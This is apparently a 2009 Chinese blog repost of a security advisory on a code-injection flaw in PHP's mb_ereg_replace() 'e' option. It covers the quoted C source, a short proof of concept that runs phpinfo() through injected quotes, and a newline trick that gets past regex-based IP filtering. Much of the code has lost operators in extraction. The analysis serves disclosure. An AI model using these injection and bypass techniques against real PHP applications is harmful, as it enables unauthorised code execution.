mb

2009年5月14日星期四

mb


mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题

author:ryat.org
team:http://www.80vul.com
date:2009-04-30

一描叙

mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:

stringmb_ereg_replace(string$pattern,string$replacement,string$string[,string$option=msr])

当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php代码被执行,但php在处理这一过程中,存在安全隐患,可能导致绕过程序的逻辑执行任意代码,另外程序员对正则匹配替换认识不够[包括preg_replace等函数],容易饶过安全限制,导致安全漏洞.


二分析

mb_ereg_replace()的代码:

//php_mbregex.c
PHP_FUNCTION(mb_ereg_replace)
{
_php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAM_PASSTHRU,0);
}
...
staticvoid_php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAMETERS,OnigOptionTypeoptions)
{
...
smart_strout_buf={0};
smart_streval_buf={0};
smart_str*pbuf;
...
if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,Zss|s,
arg_pattern_zval,
replace,replace_len,
string,string_len,
option_str,option_str_len)==FAILURE){
RETURN_FALSE;
}
...
re=php_mbregex_compile_pattern(arg_pattern,arg_pattern_len,options,MBSTRG(current_mbctype),syntaxTSRMLS_CC);
//编译模式,编译后的模式存储在re_pattern_buffer结构
...
if(eval){
pbuf=eval_buf;
description=zend_make_compiled_string_description(mbregexreplaceTSRMLS_CC);
}else{
pbuf=out_buf;
description=NULL;
//*pbuf,eval_buf,out_buf都是smart_str结构,结构说明如下:
//typedefstruct{
//char*c;
//size_tlen;
//size_ta;
//}smart_str;
}

/*dotheactualwork*/
err=0;
pos=string;
string_lim=(OnigUChar*)(string+string_len);
regs=onig_region_new();
//分配内存,初始化re_registers结构,用于存储模式匹配值[num_regs成员为子模式匹配值个数,beg成员为模式及子模式匹配值的开始位,end成员为结束位]
while(err=0){
err=onig_search(re,(OnigUChar*)string,(OnigUChar*)string_lim,pos,(OnigUChar*)string_lim,regs,0);
//依据编译好的模式进行匹配
...
/*copythepartofthestringbeforethematch*/
smart_str_appendl(out_buf,pos,(size_t)((OnigUChar*)(string+regs-beg[0])-pos));
//添加模式匹配值开始前的部分[用于函数的返回值]
/*copyreplacementandbackrefs*/
i=0;
p=replace;
while(ireplace_len){
intfwd=(int)php_mb_mbchar_bytes_ex(p,enc);
n=-1;
if((replace_len-i)=2fwd==1
p[0]=='\\'p[1]='0'p[1]='9'){
n=p[1]-'0';
}
if(n=0nregs-num_regs){
if(regs-beg[n]=0regs-beg[n]regs-end[n]regs-end[n]=string_len){
smart_str_appendl(pbuf,string+regs-beg[n],regs-end[n]-regs-beg[n]);
//如果使用逆向引用且存在相应的[子]模式匹配值,就调用smart_str_appendl添加[子]模式匹配值[调用memcpy把值copy到pbuf-c+pbuf-len]
}
}else{
smart_str_appendl(pbuf,p,fwd);
p+=fwd;
i+=fwd;
}
}
...
if(eval){
zvalv;
/*nullterminatebuffer*/
smart_str_appendc(eval_buf,'\0');
/*doeval*/
if(zend_eval_string(eval_buf.c,v,descriptionTSRMLS_CC)==FAILURE){
efree(description);
php_error_docref(NULLTSRMLS_CC,E_ERROR,Failedevaluatingcode:%s%s,PHP_EOL,eval_buf.c);
/*zend_error()doesnotreturninthiscase*/
}

//如果option指定为e,就调用zend_eval_string处理eval_buf.c,也就是pbuf-c[先编译成opcode,在调用zend_execute处理opcode]
//上面的代码mb_ereg_replace对所捕获的子模式的匹配值没有安全处理,直接调用zend_eval_string执行replace后的值.
//这样将引来一些安全隐患:比如可以引入'来闭合之前的',另外我们也可以引入nullbyte来截断后面的代码[zend_eval_string是notbinarysafe的]:)

为了对比说明这个安全漏洞我们同样来分析下preg_replace()在/e下执行php代码的处理过程:

//preg_replace()
...
if(eval){
eval_result_len=preg_do_eval(replace,replace_len,subject,
offsets,count,eval_resultTSRMLS_CC);
//在e修正符模式下调用preg_do_eval
...
staticintpreg_do_eval(char*eval_str,inteval_str_len,char*subject,
int*offsets,intcount,char**resultTSRMLS_DC)
{
...
smart_strcode={0};

eval_str_end=eval_str+eval_str_len;
walk=segment=eval_str;
walk_last=0;

while(walkeval_str_end){
/*Iffoundabackreference..*/
if('\\'==*walk||'$'==*walk){
smart_str_appendl(code,segment,walk-segment);
if(walk_last=='\\'){
code.c[code.len-1]=*walk++;
segment=walk;
walk_last=0;
continue;
}
segment=walk;
if(preg_get_backref(walk,backref)){
if(backrefcount){
/*Findthecorrespondingstringmatchandsubstituteit
ininsteadofthebackref*/
match=subject+offsets[backref1];
match_len=offsets[(backref1)+1]-offsets[backref1];
if(match_len){
esc_match=php_addslashes_ex(match,match_len,esc_match_len,0,1TSRMLS_CC);
//如果使用逆向引用且存在相应的[子]模式匹配值,就对所捕获的[子]模式匹配值调用php_addslashes_ex
...
smart_str_appendl(code,esc_match,esc_match_len);
//添加[子]模式匹配值
...
smart_str_appendl(code,segment,walk-segment);
smart_str_0(code);

compiled_string_description=zend_make_compiled_string_description(regexpcodeTSRMLS_CC);
/*Runthecode*/
if(zend_eval_string(code.c,retval,compiled_string_descriptionTSRMLS_CC)==FAILURE){
efree(compiled_string_description);
php_error_docref(NULLTSRMLS_CC,E_ERROR,Failedevaluatingcode:%s%s,PHP_EOL,code.c);
/*zend_error()doesnotreturninthiscase*/
}
//调用zend_eval_string处理code.c

preg_replace()函数一样对所捕获的模式匹配值调用php_addslashes_ex.

三测试代码:

?php
//mb_ereg(i)_replace()evaluatereplacementstringvulnerability
functionryat(){}

$str='\',phpinfo(),\'';
mb_ereg_replace('^(.*)$','ryat(\'\1\')',$str,'e');

?

四其延伸出的正则应用安全问题

从上面对mb_ereg_replace()代码分析看看出mb_ereg_replace()函数整个处理过程可以简单描述为:

检查参数,编译pattern,依据编译后的pattern对string进行匹配,如果存在匹配值[没有模式匹配值,则把string作为返回值并返回],把string中模式匹配值前面的部分添加到返回值,对模式匹配值进行替换,如果replacement中使用逆向引用且存在相应的[子]模式匹配值,替换replacement中的逆向引用[注意这里没对替换的模式及子模式匹配值做任何处理,另外这里其实并非替换,具体处理过程请看上面的源码].如果option没有指定e,就把replacement添加到返回值;如果指定e,把replacement作为php代码执行,并把代码执行后的返回值添加到返回值.把string中模式匹配值后面的部分添加到返回值.返回返回值.

通过对mb_ereg_replace()正则替换流程的分析及很多的应用程序的代码分析,发现很多程序员对正则表达式替换函数[包括preg_replace等函数]的处理过程不了解可能导致一些逻辑错误.

测试如下代码:
?php
$onlineip='ryat';
echo$onlineip=preg_replace(/^([\d\.]+).*/,\\1,$onlineip);
?
上面的代码直接输出ryat了,这个是由于正则替换时,当不匹配时,就返回原值的了.

来思考下这个问题的修补,比如:
?php
$onlineip='ryat';
echo$onlineip=preg_replace(/^([\d\.]*).*/,\\1,$onlineip);
?
输出为空了,因为这个正则可以匹配$onlineip,所以这里会返回\1对应的子模式匹配值,好像完美的fix了?其实还可以绕过:

?php
$onlineip=\nryat;
//$onlineip=ryat\nryat;
echo$onlineip=preg_replace(/^([\d\.]*).*/,\\1,$onlineip);
?

因为在没有用s模式修正符下.是不匹配的\n的,所以\nryat部分不被正则匹配,将会作为返回值[或者返回值的一部分]返回:)

五实际应用

0 评论:

发表评论